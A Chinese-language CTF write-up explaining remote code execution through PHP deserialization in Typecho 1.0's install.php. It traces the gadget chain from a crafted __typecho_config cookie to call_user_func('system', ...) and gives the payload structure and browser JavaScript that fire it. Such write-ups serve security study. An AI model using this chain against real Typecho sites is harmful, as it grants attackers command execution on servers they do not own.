Clairis

Hi, there ~ 👋

分类

标签

随机语录

道阻且长，行则将至。

精选文章

友情链接

时钟

10:18:31

2026年10月22日星期四

站点信息

建站时间2026-03-21

文章数13

累计字数50,271

最近更新2026-10-22

本站访客393

总浏览量669

3846 字

6 分钟

Typecho install.php 反序列化漏洞 Writeup

2026-08-03

网络安全

WP

/

CTF

题目信息#

项目	内容
题目类型	Web - PHP反序列化
框架	Typecho CMS
版本	1.0/14.10.10
Flag	`NSSCTF{7142be72-772e-4691-9c42-972da71e605a}`

漏洞概述#

Typecho 是一款 PHP 博客系统。题目的附件是 Typecho 源码，在 install.php 中存在 PHP 反序列化漏洞。攻击者可以通过构造恶意的序列化 Cookie，触发远程代码执行（RCE），最终获取服务器上的 Flag。

漏洞分析#

1. 漏洞点定位#

在 install.php 中有两处反序列化入口：

位置1: ?finish 路径（第231行）

1
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

需要满足：config.inc.php 不存在，且 $_SESSION 已启动。

位置2: ?start 路径（第284行）

1
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

需要满足：config.inc.php 不存在，无需 session 检查。

两种路径都是从 Cookie __typecho_config 中读取 base64 编码的序列化数据 并执行 unserialize()，这构成了 PHP 反序列化漏洞入口。

2. CSRF 检查绕过#

install.php 第63-76行有 Referer 检查：

1
if (!empty($_GET) || !empty($_POST)) {
2
    if (empty($_SERVER['HTTP_REFERER'])) { exit; }
3
    // 检查 Referer host 是否匹配 HTTP_HOST
4
}

绕过方式：由于是从 install.php 同页面发起 fetch() 请求，浏览器会自动携带正确的 Referer 头，无需额外处理。

Typecho_Cookie::set() 使用 rawurlencode() 编码 Cookie 值：

1
setrawcookie($key, rawurlencode($value), $expire, self::$_path);

而 PHP 的 $_COOKIE 超全局数组会自动 URL-decode Cookie 值。因此：

base64 中的 + 号会被 URL-decode 成空格
需要在 JavaScript 中使用 encodeURIComponent() 对 Cookie 值编码（+ → %2B），确保 PHP 解码后 base64 正确还原

4. Gadget Chain（利用链）#

完整的反序列化利用链如下：

1
unserialize(base64_decode($_COOKIE['__typecho_config']))
2
    ↓
3
得到数组: ['adapter' => Typecho_Feed对象, 'prefix' => 'typecho_']
4
    ↓
5
explode('_', $config['adapter'])
6
    ↓ 对象转字符串触发 __toString()
7
Typecho_Feed::__toString()
8
    ↓ RSS2 分支第291行: $item['author']->screenName
9
Typecho_Request::__get('screenName')
10
    → get('screenName')
11
    → _applyFilter($command_string)
12
    ↓
13
call_user_func($filter, $command_string)
14
    ↓ 如 $filter='system', $command_string='cat /flag'
15
system('cat /flag') → RCE！

详细步骤：#

Step 1 — 反序列化后得到：

1
['adapter' => Typecho_Feed对象, 'prefix' => 'typecho_']

Step 2 — install.php:284 调用 explode('_', $config['adapter'])： $config['adapter'] 是 Typecho_Feed 对象，explode() 第二个参数要求字符串，PHP 自动调用 __toString()。

Step 3 — Typecho_Feed::__toString() 在 RSS 2.0 分支中（第291行）：

1
// 题目作者添加的提示注释
2
// 给师傅们减轻负担QAQ，要加上$item['category'] = array(new Typecho_Request());
3
// 和$this->_type防止500
4
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

访问 $item['author']->screenName，由于 $item['author'] 是 Typecho_Request 对象，触发 __get('screenName')。

Step 4 — Typecho_Request::get('screenName')：

1
public function get($key, $default = NULL) {
2
    $value = $this->_params[$key];  // 取出我们的命令字符串
3
    return $this->_applyFilter($value);
4
}

Step 5 — Typecho_Request::_applyFilter()（第159-171行）：

1
private function _applyFilter($value) {
2
    if ($this->_filter) {
3
        foreach ($this->_filter as $filter) {
4
            $value = call_user_func($filter, $value);
5
        }
6
    }
7
    return $value;
8
}

当 $filter = 'system'，$value = 'cat /flag' 时，执行 call_user_func('system', 'cat /flag')。

Step 6 — system('cat /flag') 执行系统命令，Flag 输出到 HTTP 响应中！

漏洞利用#

Payload 结构#

1
payload = {
2
    'adapter': Typecho_Feed(
3
        _type='RSS 2.0',
4
        _items=[{
5
            'author': Typecho_Request(
6
                _filter=['system'],         # ← 被 call_user_func 调用的函数
7
                _params={'screenName': 'cat /flag'},  # ← 传递给 system 的参数
8
            ),
9
            'title': 'test',
10
            'link': 'http://example.com',
11
            'date': 1234567890,
12
        }]
13
    ),
14
    'prefix': 'typecho_',
15
}
16
# serialized → base64 → set as Cookie

利用步骤#

生成 Payload：使用 Python 脚本 exploit.py 构造 PHP 序列化 Payload，base64 编码后写入 Cookie
绕过 CSRF：在目标 install.php 页面通过浏览器 Console 执行 JavaScript 的 fetch()，同源请求自动携带 Referer
触发反序列化：设置 Cookie 为恶意 Payload 后，请求 install.php?start
获取 Flag：system('cat /flag') 在服务器上执行，输出出现在 HTTP 响应正文中

浏览器 Console 执行#

最终使用的 JavaScript 代码（已写入 exploit_system.js）：

1
var p = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVj...";  // base64 payload
2
document.cookie = "__typecho_config=" + encodeURIComponent(p) + ";path=/";
3
fetch("install.php?start", {credentials: "include"})
4
  .then(r => r.text())
5
  .then(t => console.log(t));

利用结果#

服务器返回的 HTTP 响应中直接包含 Flag：

1
NSSCTF{7142be72-772e-4691-9c42-972da71e605a}

关键问题与解决#

问题	原因	解决方案
Cookie 值被破坏	base64 中的 `+` 经 PHP `$_COOKIE` URL-decode 后变成空格	使用 `encodeURIComponent()` 编码 Cookie 值
`assert()` 执行失败（500）	PHP 7.2+ 中 `assert()` 字符串求值被废弃/禁用	改用 `system` 作为 filter 直接执行命令
输出截断看不清	Console 默认折叠长输出	展开折叠区域，或搜索 “flag”